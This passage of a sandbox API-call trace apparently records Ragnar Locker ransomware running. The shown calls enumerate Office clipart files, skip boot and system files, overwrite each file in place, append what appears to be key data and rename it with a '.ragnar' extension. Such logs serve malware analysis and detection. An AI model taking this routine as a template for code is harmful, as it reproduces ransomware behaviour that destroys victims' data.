files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.808] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65da4900, ftCreationTime.dwHighDateTime=0x1bd4bda, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65da4900, ftLastWriteTime.dwHighDateTime=0x1bd4bda, nFileSizeHigh=0x0, nFileSizeLow=0x14c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01701_.WMF", cAlternateFileName="")) returned 1 [0088.808] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.808] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01701_.WMF" | out: lpString1="NA01701_.WMF") returned="NA01701_.WMF" [0088.808] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF") returned=".WMF" [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="autorun.inf") returned 1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="boot.ini") returned 1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="bootfont.bin") returned 1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="bootsect.bak") returned 1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="bootmgr") returned 1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="bootmgr.efi") returned 1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="desktop.ini") returned 1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="iconcache.db") returned 1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="ntldr") returned -1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="ntuser.dat") returned -1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="ntuser.ini") returned -1 [0088.808] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="thumbs.db") returned -1 [0088.808] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.808] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.808] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.808] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.808] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.808] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.808] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf")) returned 0x20 [0088.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.809] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5316) returned 1 [0088.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.809] GetProcessHeap () returned 0x580000 [0088.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.810] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.811] VirtualAlloc (lpAddress=0x0, dwSize=0x14c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.811] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.811] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.811] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14c4, lpOverlapped=0x0) returned 1 [0088.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.812] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.812] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14c4, lpOverlapped=0x0) returned 1 [0088.812] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.812] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.813] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.813] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.813] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.813] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.813] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.813] GetProcessHeap () returned 0x580000 [0088.813] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.813] CloseHandle (hObject=0xf4) returned 1 [0088.813] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" [0088.813] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.ragnar_FD7BD9FC" [0088.813] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.814] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01848_.WMF", cAlternateFileName="")) returned 1 [0088.814] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.814] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01848_.WMF" | out: lpString1="NA01848_.WMF") returned="NA01848_.WMF" [0088.814] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF") returned=".WMF" [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="autorun.inf") returned 1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="boot.ini") returned 1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="bootfont.bin") returned 1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="bootsect.bak") returned 1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="bootmgr") returned 1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="bootmgr.efi") returned 1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="desktop.ini") returned 1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="iconcache.db") returned 1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="ntldr") returned -1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="ntuser.dat") returned -1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="ntuser.ini") returned -1 [0088.814] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="thumbs.db") returned -1 [0088.814] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.814] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.814] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.814] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.815] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.815] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.815] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf")) returned 0x20 [0088.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.815] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1120) returned 1 [0088.815] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x457, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.815] GetProcessHeap () returned 0x580000 [0088.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.815] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.817] VirtualAlloc (lpAddress=0x0, dwSize=0x460, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.817] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x460, lpOverlapped=0x0) returned 1 [0088.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.817] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x460, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.817] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x460, lpOverlapped=0x0) returned 1 [0088.817] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x460, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.818] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.818] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x460, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.818] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.818] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.818] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.818] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.818] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.818] GetProcessHeap () returned 0x580000 [0088.818] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.818] CloseHandle (hObject=0xf4) returned 1 [0088.818] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" [0088.818] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.ragnar_FD7BD9FC" [0088.818] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.819] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01849_.WMF", cAlternateFileName="")) returned 1 [0088.819] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.819] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01849_.WMF" | out: lpString1="NA01849_.WMF") returned="NA01849_.WMF" [0088.819] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF") returned=".WMF" [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="autorun.inf") returned 1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="boot.ini") returned 1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="bootfont.bin") returned 1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="bootsect.bak") returned 1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="bootmgr") returned 1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="bootmgr.efi") returned 1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="desktop.ini") returned 1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="iconcache.db") returned 1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="ntldr") returned -1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="ntuser.dat") returned -1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="ntuser.ini") returned -1 [0088.819] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="thumbs.db") returned -1 [0088.820] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.820] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.820] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.820] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.820] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.820] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.820] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf")) returned 0x20 [0088.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.821] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=624) returned 1 [0088.821] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x267, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.821] GetProcessHeap () returned 0x580000 [0088.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.821] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.822] VirtualAlloc (lpAddress=0x0, dwSize=0x270, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.822] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x270, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x270, lpOverlapped=0x0) returned 1 [0088.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.822] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x270, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.822] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x270, lpOverlapped=0x0) returned 1 [0088.822] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x270, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.822] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.823] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.823] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.823] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.823] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.823] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.823] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.823] GetProcessHeap () returned 0x580000 [0088.823] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.823] CloseHandle (hObject=0xf4) returned 1 [0088.823] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" [0088.823] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.ragnar_FD7BD9FC" [0088.823] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.824] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04ab00, ftCreationTime.dwHighDateTime=0x1bd4bfd, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04ab00, ftLastWriteTime.dwHighDateTime=0x1bd4bfd, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01852_.WMF", cAlternateFileName="")) returned 1 [0088.824] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft 